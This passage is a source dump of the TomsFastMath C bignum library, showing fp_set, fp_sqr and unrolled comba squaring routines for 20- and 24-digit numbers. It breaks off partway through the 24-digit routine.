decrement count */ 33 | a->used -= x; 34 | fp_clamp(a); 35 | } 36 | 37 | 38 | /* $Source$ */ 39 | /* $Revision$ */ 40 | /* $Date$ */ 41 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_set.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | void fp_set(fp_int *a, fp_digit b) 13 | { 14 | fp_zero(a); 15 | a->dp[0] = b; 16 | a->used = a->dp[0] ? 1 : 0; 17 | } 18 | 19 | /* $Source$ */ 20 | /* $Revision$ */ 21 | /* $Date$ */ 22 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_sqr.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* b = a*a */ 13 | void fp_sqr(fp_int *A, fp_int *B) 14 | { 15 | int y, old_used; 16 | 17 | old_used = B->used; 18 | 19 | /* call generic if we're out of range */ 20 | if (A->used + A->used > FP_SIZE) { 21 | fp_sqr_comba(A, B); 22 | goto clean; 23 | } 24 | 25 | y = A->used; 26 | #if defined(TFM_SQR3) && FP_SIZE >= 6 27 | if (y <= 3) { 28 | fp_sqr_comba3(A,B); 29 | goto clean; 30 | } 31 | #endif 32 | #if defined(TFM_SQR4) && FP_SIZE >= 8 33 | if (y == 4) { 34 | fp_sqr_comba4(A,B); 35 | goto clean; 36 | } 37 | #endif 38 | #if defined(TFM_SQR6) && FP_SIZE >= 12 39 | if (y <= 6) { 40 | fp_sqr_comba6(A,B); 41 | goto clean; 42 | } 43 | #endif 44 | #if defined(TFM_SQR7) && FP_SIZE >= 14 45 | if (y == 7) { 46 | fp_sqr_comba7(A,B); 47 | goto clean; 48 | } 49 | #endif 50 | #if defined(TFM_SQR8) && FP_SIZE >= 16 51 | if (y == 8) { 52 | fp_sqr_comba8(A,B); 53 | goto clean; 54 | } 55 | #endif 56 | #if defined(TFM_SQR9) && FP_SIZE >= 18 57 | if (y == 9) { 58 | fp_sqr_comba9(A,B); 59 | goto clean; 60 | } 61 | #endif 62 | #if defined(TFM_SQR12) && FP_SIZE >= 24 63 | if (y <= 12) { 64 | fp_sqr_comba12(A,B); 65 | goto clean; 66 | } 67 | #endif 68 | #if defined(TFM_SQR17) && FP_SIZE >= 34 69 | if (y <= 17) { 70 | fp_sqr_comba17(A,B); 71 | goto clean; 72 | } 73 | #endif 74 | #if defined(TFM_SMALL_SET) 75 | if (y <= 16) { 76 | fp_sqr_comba_small(A,B); 77 | goto clean; 78 | } 79 | #endif 80 | #if defined(TFM_SQR20) && FP_SIZE >= 40 81 | if (y <= 20) { 82 | fp_sqr_comba20(A,B); 83 | goto clean; 84 | } 85 | #endif 86 | #if defined(TFM_SQR24) && FP_SIZE >= 48 87 | if (y <= 24) { 88 | fp_sqr_comba24(A,B); 89 | goto clean; 90 | } 91 | #endif 92 | #if defined(TFM_SQR28) && FP_SIZE >= 56 93 | if (y <= 28) { 94 | fp_sqr_comba28(A,B); 95 | goto clean; 96 | } 97 | #endif 98 | #if defined(TFM_SQR32) && FP_SIZE >= 64 99 | if (y <= 32) { 100 | fp_sqr_comba32(A,B); 101 | goto clean; 102 | } 103 | #endif 104 | #if defined(TFM_SQR48) && FP_SIZE >= 96 105 | if (y <= 48) { 106 | fp_sqr_comba48(A,B); 107 | goto clean; 108 | } 109 | #endif 110 | #if defined(TFM_SQR64) && FP_SIZE >= 128 111 | if (y <= 64) { 112 | fp_sqr_comba64(A,B); 113 | goto clean; 114 | } 115 | #endif 116 | fp_sqr_comba(A, B); 117 | clean: 118 | for (y = B->used; y < old_used; y++) { 119 | B->dp[y] = 0; 120 | } 121 | } 122 | 123 | 124 | /* $Source: /cvs/libtom/tomsfastmath/src/sqr/fp_sqr.c,v $ */ 125 | /* $Revision: 1.1 $ */ 126 | /* $Date: 2006/12/31 21:25:53 $ */ 127 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_sqr_comba_20.c: -------------------------------------------------------------------------------- 1 | #define TFM_DEFINES 2 | #include "fp_sqr_comba.c" 3 | 4 | #if defined(TFM_SQR20) && FP_SIZE >= 40 5 | void fp_sqr_comba20(fp_int *A, fp_int *B) 6 | { 7 | fp_digit *a, b[40], c0, c1, c2, sc0, sc1, sc2; 8 | #ifdef TFM_ISO 9 | fp_word tt; 10 | #endif 11 | 12 | a = A->dp; 13 | COMBA_START; 14 | 15 | /* clear carries */ 16 | CLEAR_CARRY; 17 | 18 | /* output 0 */ 19 | SQRADD(a[0],a[0]); 20 | COMBA_STORE(b[0]); 21 | 22 | /* output 1 */ 23 | CARRY_FORWARD; 24 | SQRADD2(a[0], a[1]); 25 | COMBA_STORE(b[1]); 26 | 27 | /* output 2 */ 28 | CARRY_FORWARD; 29 | SQRADD2(a[0], a[2]); SQRADD(a[1], a[1]); 30 | COMBA_STORE(b[2]); 31 | 32 | /* output 3 */ 33 | CARRY_FORWARD; 34 | SQRADD2(a[0], a[3]); SQRADD2(a[1], a[2]); 35 | COMBA_STORE(b[3]); 36 | 37 | /* output 4 */ 38 | CARRY_FORWARD; 39 | SQRADD2(a[0], a[4]); SQRADD2(a[1], a[3]); SQRADD(a[2], a[2]); 40 | COMBA_STORE(b[4]); 41 | 42 | /* output 5 */ 43 | CARRY_FORWARD; 44 | SQRADDSC(a[0], a[5]); SQRADDAC(a[1], a[4]); SQRADDAC(a[2], a[3]); SQRADDDB; 45 | COMBA_STORE(b[5]); 46 | 47 | /* output 6 */ 48 | CARRY_FORWARD; 49 | SQRADDSC(a[0], a[6]); SQRADDAC(a[1], a[5]); SQRADDAC(a[2], a[4]); SQRADDDB; SQRADD(a[3], a[3]); 50 | COMBA_STORE(b[6]); 51 | 52 | /* output 7 */ 53 | CARRY_FORWARD; 54 | SQRADDSC(a[0], a[7]); SQRADDAC(a[1], a[6]); SQRADDAC(a[2], a[5]); SQRADDAC(a[3], a[4]); SQRADDDB; 55 | COMBA_STORE(b[7]); 56 | 57 | /* output 8 */ 58 | CARRY_FORWARD; 59 | SQRADDSC(a[0], a[8]); SQRADDAC(a[1], a[7]); SQRADDAC(a[2], a[6]); SQRADDAC(a[3], a[5]); SQRADDDB; SQRADD(a[4], a[4]); 60 | COMBA_STORE(b[8]); 61 | 62 | /* output 9 */ 63 | CARRY_FORWARD; 64 | SQRADDSC(a[0], a[9]); SQRADDAC(a[1], a[8]); SQRADDAC(a[2], a[7]); SQRADDAC(a[3], a[6]); SQRADDAC(a[4], a[5]); SQRADDDB; 65 | COMBA_STORE(b[9]); 66 | 67 | /* output 10 */ 68 | CARRY_FORWARD; 69 | SQRADDSC(a[0], a[10]); SQRADDAC(a[1], a[9]); SQRADDAC(a[2], a[8]); SQRADDAC(a[3], a[7]); SQRADDAC(a[4], a[6]); SQRADDDB; SQRADD(a[5], a[5]); 70 | COMBA_STORE(b[10]); 71 | 72 | /* output 11 */ 73 | CARRY_FORWARD; 74 | SQRADDSC(a[0], a[11]); SQRADDAC(a[1], a[10]); SQRADDAC(a[2], a[9]); SQRADDAC(a[3], a[8]); SQRADDAC(a[4], a[7]); SQRADDAC(a[5], a[6]); SQRADDDB; 75 | COMBA_STORE(b[11]); 76 | 77 | /* output 12 */ 78 | CARRY_FORWARD; 79 | SQRADDSC(a[0], a[12]); SQRADDAC(a[1], a[11]); SQRADDAC(a[2], a[10]); SQRADDAC(a[3], a[9]); SQRADDAC(a[4], a[8]); SQRADDAC(a[5], a[7]); SQRADDDB; SQRADD(a[6], a[6]); 80 | COMBA_STORE(b[12]); 81 | 82 | /* output 13 */ 83 | CARRY_FORWARD; 84 | SQRADDSC(a[0], a[13]); SQRADDAC(a[1], a[12]); SQRADDAC(a[2], a[11]); SQRADDAC(a[3], a[10]); SQRADDAC(a[4], a[9]); SQRADDAC(a[5], a[8]); SQRADDAC(a[6], a[7]); SQRADDDB; 85 | COMBA_STORE(b[13]); 86 | 87 | /* output 14 */ 88 | CARRY_FORWARD; 89 | SQRADDSC(a[0], a[14]); SQRADDAC(a[1], a[13]); SQRADDAC(a[2], a[12]); SQRADDAC(a[3], a[11]); SQRADDAC(a[4], a[10]); SQRADDAC(a[5], a[9]); SQRADDAC(a[6], a[8]); SQRADDDB; SQRADD(a[7], a[7]); 90 | COMBA_STORE(b[14]); 91 | 92 | /* output 15 */ 93 | CARRY_FORWARD; 94 | SQRADDSC(a[0], a[15]); SQRADDAC(a[1], a[14]); SQRADDAC(a[2], a[13]); SQRADDAC(a[3], a[12]); SQRADDAC(a[4], a[11]); SQRADDAC(a[5], a[10]); SQRADDAC(a[6], a[9]); SQRADDAC(a[7], a[8]); SQRADDDB; 95 | COMBA_STORE(b[15]); 96 | 97 | /* output 16 */ 98 | CARRY_FORWARD; 99 | SQRADDSC(a[0], a[16]); SQRADDAC(a[1], a[15]); SQRADDAC(a[2], a[14]); SQRADDAC(a[3], a[13]); SQRADDAC(a[4], a[12]); SQRADDAC(a[5], a[11]); SQRADDAC(a[6], a[10]); SQRADDAC(a[7], a[9]); SQRADDDB; SQRADD(a[8], a[8]); 100 | COMBA_STORE(b[16]); 101 | 102 | /* output 17 */ 103 | CARRY_FORWARD; 104 | SQRADDSC(a[0], a[17]); SQRADDAC(a[1], a[16]); SQRADDAC(a[2], a[15]); SQRADDAC(a[3], a[14]); SQRADDAC(a[4], a[13]); SQRADDAC(a[5], a[12]); SQRADDAC(a[6], a[11]); SQRADDAC(a[7], a[10]); SQRADDAC(a[8], a[9]); SQRADDDB; 105 | COMBA_STORE(b[17]); 106 | 107 | /* output 18 */ 108 | CARRY_FORWARD; 109 | SQRADDSC(a[0], a[18]); SQRADDAC(a[1], a[17]); SQRADDAC(a[2], a[16]); SQRADDAC(a[3], a[15]); SQRADDAC(a[4], a[14]); SQRADDAC(a[5], a[13]); SQRADDAC(a[6], a[12]); SQRADDAC(a[7], a[11]); SQRADDAC(a[8], a[10]); SQRADDDB; SQRADD(a[9], a[9]); 110 | COMBA_STORE(b[18]); 111 | 112 | /* output 19 */ 113 | CARRY_FORWARD; 114 | SQRADDSC(a[0], a[19]); SQRADDAC(a[1], a[18]); SQRADDAC(a[2], a[17]); SQRADDAC(a[3], a[16]); SQRADDAC(a[4], a[15]); SQRADDAC(a[5], a[14]); SQRADDAC(a[6], a[13]); SQRADDAC(a[7], a[12]); SQRADDAC(a[8], a[11]); SQRADDAC(a[9], a[10]); SQRADDDB; 115 | COMBA_STORE(b[19]); 116 | 117 | /* output 20 */ 118 | CARRY_FORWARD; 119 | SQRADDSC(a[1], a[19]); SQRADDAC(a[2], a[18]); SQRADDAC(a[3], a[17]); SQRADDAC(a[4], a[16]); SQRADDAC(a[5], a[15]); SQRADDAC(a[6], a[14]); SQRADDAC(a[7], a[13]); SQRADDAC(a[8], a[12]); SQRADDAC(a[9], a[11]); SQRADDDB; SQRADD(a[10], a[10]); 120 | COMBA_STORE(b[20]); 121 | 122 | /* output 21 */ 123 | CARRY_FORWARD; 124 | SQRADDSC(a[2], a[19]); SQRADDAC(a[3], a[18]); SQRADDAC(a[4], a[17]); SQRADDAC(a[5], a[16]); SQRADDAC(a[6], a[15]); SQRADDAC(a[7], a[14]); SQRADDAC(a[8], a[13]); SQRADDAC(a[9], a[12]); SQRADDAC(a[10], a[11]); SQRADDDB; 125 | COMBA_STORE(b[21]); 126 | 127 | /* output 22 */ 128 | CARRY_FORWARD; 129 | SQRADDSC(a[3], a[19]); SQRADDAC(a[4], a[18]); SQRADDAC(a[5], a[17]); SQRADDAC(a[6], a[16]); SQRADDAC(a[7], a[15]); SQRADDAC(a[8], a[14]); SQRADDAC(a[9], a[13]); SQRADDAC(a[10], a[12]); SQRADDDB; SQRADD(a[11], a[11]); 130 | COMBA_STORE(b[22]); 131 | 132 | /* output 23 */ 133 | CARRY_FORWARD; 134 | SQRADDSC(a[4], a[19]); SQRADDAC(a[5], a[18]); SQRADDAC(a[6], a[17]); SQRADDAC(a[7], a[16]); SQRADDAC(a[8], a[15]); SQRADDAC(a[9], a[14]); SQRADDAC(a[10], a[13]); SQRADDAC(a[11], a[12]); SQRADDDB; 135 | COMBA_STORE(b[23]); 136 | 137 | /* output 24 */ 138 | CARRY_FORWARD; 139 | SQRADDSC(a[5], a[19]); SQRADDAC(a[6], a[18]); SQRADDAC(a[7], a[17]); SQRADDAC(a[8], a[16]); SQRADDAC(a[9], a[15]); SQRADDAC(a[10], a[14]); SQRADDAC(a[11], a[13]); SQRADDDB; SQRADD(a[12], a[12]); 140 | COMBA_STORE(b[24]); 141 | 142 | /* output 25 */ 143 | CARRY_FORWARD; 144 | SQRADDSC(a[6], a[19]); SQRADDAC(a[7], a[18]); SQRADDAC(a[8], a[17]); SQRADDAC(a[9], a[16]); SQRADDAC(a[10], a[15]); SQRADDAC(a[11], a[14]); SQRADDAC(a[12], a[13]); SQRADDDB; 145 | COMBA_STORE(b[25]); 146 | 147 | /* output 26 */ 148 | CARRY_FORWARD; 149 | SQRADDSC(a[7], a[19]); SQRADDAC(a[8], a[18]); SQRADDAC(a[9], a[17]); SQRADDAC(a[10], a[16]); SQRADDAC(a[11], a[15]); SQRADDAC(a[12], a[14]); SQRADDDB; SQRADD(a[13], a[13]); 150 | COMBA_STORE(b[26]); 151 | 152 | /* output 27 */ 153 | CARRY_FORWARD; 154 | SQRADDSC(a[8], a[19]); SQRADDAC(a[9], a[18]); SQRADDAC(a[10], a[17]); SQRADDAC(a[11], a[16]); SQRADDAC(a[12], a[15]); SQRADDAC(a[13], a[14]); SQRADDDB; 155 | COMBA_STORE(b[27]); 156 | 157 | /* output 28 */ 158 | CARRY_FORWARD; 159 | SQRADDSC(a[9], a[19]); SQRADDAC(a[10], a[18]); SQRADDAC(a[11], a[17]); SQRADDAC(a[12], a[16]); SQRADDAC(a[13], a[15]); SQRADDDB; SQRADD(a[14], a[14]); 160 | COMBA_STORE(b[28]); 161 | 162 | /* output 29 */ 163 | CARRY_FORWARD; 164 | SQRADDSC(a[10], a[19]); SQRADDAC(a[11], a[18]); SQRADDAC(a[12], a[17]); SQRADDAC(a[13], a[16]); SQRADDAC(a[14], a[15]); SQRADDDB; 165 | COMBA_STORE(b[29]); 166 | 167 | /* output 30 */ 168 | CARRY_FORWARD; 169 | SQRADDSC(a[11], a[19]); SQRADDAC(a[12], a[18]); SQRADDAC(a[13], a[17]); SQRADDAC(a[14], a[16]); SQRADDDB; SQRADD(a[15], a[15]); 170 | COMBA_STORE(b[30]); 171 | 172 | /* output 31 */ 173 | CARRY_FORWARD; 174 | SQRADDSC(a[12], a[19]); SQRADDAC(a[13], a[18]); SQRADDAC(a[14], a[17]); SQRADDAC(a[15], a[16]); SQRADDDB; 175 | COMBA_STORE(b[31]); 176 | 177 | /* output 32 */ 178 | CARRY_FORWARD; 179 | SQRADDSC(a[13], a[19]); SQRADDAC(a[14], a[18]); SQRADDAC(a[15], a[17]); SQRADDDB; SQRADD(a[16], a[16]); 180 | COMBA_STORE(b[32]); 181 | 182 | /* output 33 */ 183 | CARRY_FORWARD; 184 | SQRADDSC(a[14], a[19]); SQRADDAC(a[15], a[18]); SQRADDAC(a[16], a[17]); SQRADDDB; 185 | COMBA_STORE(b[33]); 186 | 187 | /* output 34 */ 188 | CARRY_FORWARD; 189 | SQRADD2(a[15], a[19]); SQRADD2(a[16], a[18]); SQRADD(a[17], a[17]); 190 | COMBA_STORE(b[34]); 191 | 192 | /* output 35 */ 193 | CARRY_FORWARD; 194 | SQRADD2(a[16], a[19]); SQRADD2(a[17], a[18]); 195 | COMBA_STORE(b[35]); 196 | 197 | /* output 36 */ 198 | CARRY_FORWARD; 199 | SQRADD2(a[17], a[19]); SQRADD(a[18], a[18]); 200 | COMBA_STORE(b[36]); 201 | 202 | /* output 37 */ 203 | CARRY_FORWARD; 204 | SQRADD2(a[18], a[19]); 205 | COMBA_STORE(b[37]); 206 | 207 | /* output 38 */ 208 | CARRY_FORWARD; 209 | SQRADD(a[19], a[19]); 210 | COMBA_STORE(b[38]); 211 | COMBA_STORE2(b[39]); 212 | COMBA_FINI; 213 | 214 | B->used = 40; 215 | B->sign = FP_ZPOS; 216 | memcpy(B->dp, b, 40 * sizeof(fp_digit)); 217 | fp_clamp(B); 218 | } 219 | #endif 220 | 221 | 222 | /* $Source$ */ 223 | /* $Revision$ */ 224 | /* $Date$ */ 225 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_sqr_comba_24.c: -------------------------------------------------------------------------------- 1 | #define TFM_DEFINES 2 | #include "fp_sqr_comba.c" 3 | 4 | #if defined(TFM_SQR24) && FP_SIZE >= 48 5 | void fp_sqr_comba24(fp_int *A, fp_int *B) 6 | { 7 | fp_digit *a, b[48], c0, c1, c2, sc0, sc1, sc2; 8 | #ifdef TFM_ISO 9 | fp_word tt; 10 | #endif 11 | 12 | a = A->dp; 13 | COMBA_START; 14 | 15 | /* clear carries */ 16 | CLEAR_CARRY; 17 | 18 | /* output 0 */ 19 | SQRADD(a[0],a[0]); 20 | COMBA_STORE(b[0]); 21 | 22 | /* output 1 */ 23 | CARRY_FORWARD; 24 | SQRADD2(a[0], a[1]); 25 | COMBA_STORE(b[1]); 26 | 27 | /* output 2 */ 28 | CARRY_FORWARD; 29 | SQRADD2(a[0], a[2]); SQRADD(a[1], a[1]); 30 | COMBA_STORE(b[2]); 31 | 32 | /* output 3 */ 33 | CARRY_FORWARD; 34 | SQRADD2(a[0], a[3]); SQRADD2(a[1], a[2]); 35 | COMBA_STORE(b[3]); 36 | 37 | /* output 4 */ 38 | CARRY_FORWARD; 39 | SQRADD2(a[0], a[4]); SQRADD2(a[1], a[3]); SQRADD(a[2], a[2]); 40 | COMBA_STORE(b[4]); 41 | 42 | /* output 5 */ 43 | CARRY_FORWARD; 44 | SQRADDSC(a[0], a[5]); SQRADDAC(a[1], a[4]); SQRADDAC(a[2], a[3]); SQRADDDB; 45 | COMBA_STORE(b[5]); 46 | 47 | /* output 6 */ 48 | CARRY_FORWARD; 49 | SQRADDSC(a[0], a[6]); SQRADDAC(a[1], a[5]); SQRADDAC(a[2], a[4]); SQRADDDB; SQRADD(a[3], a[3]); 50 | COMBA_STORE(b[6]); 51 | 52 | /* output 7 */ 53 | CARRY_FORWARD; 54 | SQRADDSC(a[0], a[7]); SQRADDAC(a[1], a[6]); SQRADDAC(a[2], a[5]); SQRADDAC(a[3], a[4]); SQRADDDB; 55 | COMBA_STORE(b[7]); 56 | 57 | /* output 8 */ 58 | CARRY_FORWARD; 59 | SQRADDSC(a[0], a[8]); SQRADDAC(a[1], a[7]); SQRADDAC(a[2], a[6]); SQRADDAC(a[3], a[5]); SQRADDDB; SQRADD(a[4], a[4]); 60 | COMBA_STORE(b[8]); 61 | 62 | /* output 9 */ 63 | CARRY_FORWARD; 64 | SQRADDSC(a[0], a[9]); SQRADDAC(a[1], a[8]); SQRADDAC(a[2], a[7]); SQRADDAC(a[3], a[6]); SQRADDAC(a[4], a[5]); SQRADDDB; 65 | COMBA_STORE(b[9]); 66 | 67 | /* output 10 */ 68 | CARRY_FORWARD; 69 | SQRADDSC(a[0], a[10]); SQRADDAC(a[1], a[9]); SQRADDAC(a[2], a[8]); SQRADDAC(a[3], a[7]); SQRADDAC(a[4], a[6]); SQRADDDB; SQRADD(a[5], a[5]); 70 | COMBA_STORE(b[10]); 71 | 72 | /* output 11 */ 73 | CARRY_FORWARD; 74 | SQRADDSC(a[0], a[11]); SQRADDAC(a[1], a[10]); SQRADDAC(a[2], a[9]); SQRADDAC(a[3], a[8]); SQRADDAC(a[4], a[7]); SQRADDAC(a[5], a[6]); SQRADDDB; 75 | COMBA_STORE(b[11]); 76 | 77 | /* output 12 */ 78 | CARRY_FORWARD; 79 | SQRADDSC(a[0], a[12]); SQRADDAC(a[1], a[11]); SQRADDAC(a[2], a[10]); SQRADDAC(a[3], a[9]); SQRADDAC(a[4], a[8]); SQRADDAC(a[5], a[7]); SQRADDDB; SQRADD(a[6], a[6]); 80 | COMBA_STORE(b[12]); 81 | 82 | /* output 13 */ 83 | CARRY_FORWARD; 84 | SQRADDSC(a[0], a[13]); SQRADDAC(a[1], a[12]); SQRADDAC(a[2], a[11]); SQRADDAC(a[3], a[10]); SQRADDAC(a[4], a[9]); SQRADDAC(a[5], a[8]); SQRADDAC(a[6], a[7]); SQRADDDB; 85 | COMBA_STORE(b[13]); 86 | 87 | /* output 14 */ 88 | CARRY_FORWARD; 89 | SQRADDSC(a[0], a[14]); SQRADDAC(a[1], a[13]); SQRADDAC(a[2], a[12]); SQRADDAC(a[3], a[11]); SQRADDAC(a[4], a[10]); SQRADDAC(a[5], a[9]); SQRADDAC(a[6], a[8]); SQRADDDB; SQRADD(a[7], a[7]); 90 | COMBA_STORE(b[14]); 91 | 92 | /* output 15 */ 93 | CARRY_FORWARD; 94 | SQRADDSC(a[0], a[15]); SQRADDAC(a[1], a[14]); SQRADDAC(a[2], a[13]); SQRADDAC(a[3], a[12]); SQRADDAC(a[4], a[11]); SQRADDAC(a[5], a[10]); SQRADDAC(a[6], a[9]); SQRADDAC(a[7], a[8]); SQRADDDB; 95 | COMBA_STORE(b[15]); 96 | 97 | /* output 16 */ 98 | CARRY_FORWARD; 99 | SQRADDSC(a[0], a[16]); SQRADDAC(a[1], a[15]); SQRADDAC(a[2], a[14]); SQRADDAC(a[3], a[13]); SQRADDAC(a[4], a[12]); SQRADDAC(a[5], a[11]); SQRADDAC(a[6], a[10]); SQRADDAC(a[7], a[9]); SQRADDDB; SQRADD(a[8], a[8]); 100 | COMBA_STORE(b[16]); 101 | 102 | /* output 17 */ 103 | CARRY_FORWARD; 104 | SQRADDSC(a[0], a[17]); SQRADDAC(a[1], a[16]); SQRADDAC(a[2], a[15]); SQRADDAC(a[3], a[14]); SQRADDAC(a[4], a[13]); SQRADDAC(a[5], a[12]); SQRADDAC(a[6], a[11]); SQRADDAC(a[7], a[10]); SQRADDAC(a[8], a[9]); SQRADDDB; 105 | COMBA_STORE(b[17]); 106 | 107 | /* output 18 */ 108 | CARRY_FORWARD; 109 | SQRADDSC(a[0], a[18]); SQRADDAC(a[1], a[17]); SQRADDAC(a[2], a[16]); SQRADDAC(a[3], a[15]); SQRADDAC(a[4], a[14]); SQRADDAC(a[5], a[13]); SQRADDAC(a[6], a[12]); SQRADDAC(a[7], a[11]); SQRADDAC(a[8], a[10]); SQRADDDB; SQRADD(a[9], a[9]); 110 | COMBA_STORE(b[18]); 111 | 112 | /* output 19 */ 113 | CARRY_FORWARD; 114 | SQRADDSC(a[0], a[19]); SQRADDAC(a[1], a[18]); SQRADDAC(a[2], a[17]); SQRADDAC(a[3], a[16]); SQRADDAC(a[4], a[15]); SQRADDAC(a[5], a[14]); SQRADDAC(a[6], a[13]); SQRADDAC(a[7], a[12]); SQRADDAC(a[8], a[11]); SQRADDAC(a[9], a[10]); SQRADDDB; 115 | COMBA_STORE(b[19]); 116 | 117 | /* output 20 */ 118 | CARRY_FORWARD; 119 | SQRADDSC(a[0], a[20]); SQRADDAC(a[1], a[19]); SQRADDAC(a[2], a[18]); SQRADDAC(a[3], a[17]); SQRADDAC(a[4], a[16]); SQRADDAC(a[5], a[15]); SQRADDAC(a[6], a[14]); SQRADDAC(a[7], a[13]); SQRADDAC(a[8], a[12]); SQRADDAC(a[9], a[11]); SQRADDDB; SQRADD(a[10], a[10]); 120 | COMBA_STORE(b[20]); 121 | 122 | /* output 21 */ 123 | CARRY_FORWARD; 124 | SQRADDSC(a[0], a[21]); SQRADDAC(a[1], a[20]); SQRADDAC(a[2], a[19]); SQRADDAC(a[3], a[18]); SQRADDAC(a[4], a[17]); SQRADDAC(a[5], a[16]); SQRADDAC(a[6], a[15]); SQRADDAC(a[7], a[14]); SQRADDAC(a[8], a[13]); SQRADDAC(a[9], a[12]); SQRADDAC(a[10], a[11]); SQRADDDB; 125 | COMBA_STORE(b[21]); 126 | 127 | /* output 22 */ 128 | CARRY_FORWARD; 129 | SQRADDSC(a[0], a[22]); SQRADDAC(a[1], a[21]); SQRADDAC(a[2], a[20]); SQRADDAC(a[3], a[19]); SQRADDAC(a[4], a[18]); SQRADDAC(a[5], a[17]); SQRADDAC(a[6], a[16]); SQRADDAC(a[7], a[15]); SQRADDAC(a[8], a[14]); SQRADDAC(a[9], a[13]); SQRADDAC(a[10], a[12]); SQRADDDB; SQRADD(a[11], a[11]); 130 | COMBA_STORE(b[22]); 131 | 132 | /* output 23 */ 133 | CARRY_FORWARD; 134 | SQRADDSC(a[0], a[23]); SQRADDAC(a[1], a[22]); SQRADDAC(a[2], a[21]); SQRADDAC(a[3], a[20]); SQRADDAC(a[4], a[19]); SQRADDAC(a[5], a[18]); SQRADDAC(a[6], a[17]); SQRADDAC(a[7], a[16]); SQRADDAC(a[8], a[15]); SQRADDAC(a[9], a[14]); SQRADDAC(a[10], a[13]); SQRADDAC(a[11], a[12]); SQRADDDB; 135 | COMBA_STORE(b[23]); 136 | 137 | /* output 24 */ 138 | CARRY_FORWARD; 139 | SQRADDSC(a[1], a[23]); SQRADDAC(a[2], a[22]); SQRADDAC(a[3], a[21]); SQRADDAC(a[4], a[20]); SQRADDAC(a[5], a[19]); SQRADDAC(a[6], a[18]); SQRADDAC(a[7], a[17]); SQRADDAC(a[8], a[16]); SQRADDAC(a[9], a[15]); SQRADDAC(a[10], a[14]); SQRADDAC(a[11], a[13]); SQRADDDB; SQRADD(a[12], a[12]); 140 | COMBA_STORE(b[24]); 141 | 142 | /* output 25 */ 143 | CARRY_FORWARD; 144 | SQRADDSC(a[2], a[23]); SQRADDAC(a[3], a[22]); SQRADDAC(a[4], a[21]); SQRADDAC(a[5], a[20]); SQRADDAC(a[6], a[19]); SQRADDAC(a[7], a[18]); SQRADDAC(a[8], a[17]); SQRADDAC(a[9], a[16]); SQRADDAC(a[10], a[15]); SQRADDAC(a[11], a[14]); SQRADDAC(a[12], a[13]); SQRADDDB; 145 | COMBA_STORE(b[25]); 146 | 147 | /* output 26 */ 148 | CARRY_FORWARD; 149 | SQRADDSC(a[3], a[23]); SQRADDAC(a[4], a[22]); SQRADDAC(a[5], a[21]); SQRADDAC(a[6], a[20]); SQRADDAC(a[7], a[19]); SQRADDAC(a[8], a[18]); SQRADDAC(a[9], a[17]); SQRADDAC(a[10], a[16]); SQRADDAC(a[11], a[15]); SQRADDAC(a[12], a[14]); SQRADDDB; SQRADD(a[13], a[13]); 150 | COMBA_STORE(b[26]); 151 | 152 | /* output 27 */ 153 | CARRY_FORWARD; 154 | SQRADDSC(a[4], a[23]); SQRADDAC(a[5], a[22]); SQRADDAC(a[6], a[21]); SQRADDAC(a[7], a[20]); SQRADDAC(a[8], a[19]); SQRADDAC(a[9], a[18]); SQRADDAC(a[10], a[17]); SQRADDAC(a[11], a[16]); SQRADDAC(a[12], a[15]); SQRADDAC(a[13], a[14]); SQRADDDB; 155 | COMBA_STORE(b[27]); 156 | 157 | /* output 28 */ 158 | CARRY_FORWARD; 159 | SQRADDSC(a[5], a[23]); SQRADDAC(a[6], a[22]); SQRADDAC(a[7], a[21]); SQRADDAC(a[8], a[20]); SQRADDAC(a[9], a[19]); SQRADDAC(a[10], a[18]); SQRADDAC(a[11], a[17]); SQRADDAC(a[12], a[16]); SQRADDAC(a[13], a[15]); SQRADDDB; SQRADD(a[14], a[14]); 160 | COMBA_STORE(b[28]); 161 | 162 | /* output 29 */ 163 | CARRY_FORWARD; 164 | SQRADDSC(a[6], a[23]); SQRADDAC(a[7], a[22]); SQRADDAC(a[8], a[21]); SQRADDAC(a[9], a[20]); SQRADDAC(a[10], a[19]); SQRADDAC(a[11], a[18]); SQRADDAC(a[12], a[17]); SQRADDAC(a[13], a[16]); SQRADDAC(a[14], a[15]); SQRADDDB; 165 | COMBA_STORE(b[29]); 166 | 167 | /* output 30 */ 168 | CARRY_FORWARD; 169 | SQRADDSC(a[7], a[23]); SQRADDAC(a[8], a[22]); SQRADDAC(a[9], a[21]); SQRADDAC(a[10], a[20]); SQRADDAC(a[11], a[19]); SQRADDAC(a[12], a[18]); SQRADDAC(a[13], a[17]); SQRADDAC(a[14], a[16]); SQRADDDB; SQRADD(a[15], a[15]); 170 | COMBA_STORE(b[30]); 171 | 172 | /* output 31 */ 173 | CARRY_FORWARD; 174 | SQRADDSC(a[8], a[23]); SQRADDAC(a[9], a[22]); SQRADDAC(a[10], a[21]); SQRADDAC(a[11], a[20]); SQRADDAC(a[12], a[19]); SQRADDAC(a[13], a[18]); SQRADDAC(a[14], a[17]); SQRADDAC(a[15], a[16]); SQRADDDB; 175 | COMBA_STORE(b[31]); 176 | 177 | /* output 32 */ 178 | CARRY_FORWARD; 179 | SQRADDSC(a[9], a[23]); SQRADDAC(a[10], a[22]); SQRADDAC(a[11], a[21]); SQRADDAC(a[12], a[20]); SQRADDAC(a[13], a[19]); SQRADDAC(a[14], a[18]); SQRADDAC(a[15], a[17]); SQRADDDB; SQRADD(a[16], a[16]); 180 | COMBA_STORE(b[32]); 181 | 182 | /* output 33 */ 183 | CARRY_FORWARD; 184 | SQRADDSC(a[10], a[23]); SQRADDAC(a[11], a[22]); SQRADDAC(a[12], a[21]); SQRADDAC(a[13], a[20]); SQRADDAC(a[14], a[19]); SQRADDAC(a[15], a[18]); SQRADDAC(a[16], a[17]); SQRADDDB; 185 | COMBA_STORE(b[33]); 186 | 187 | /* output 34 */ 188 | CARRY_FORWARD; 189 | 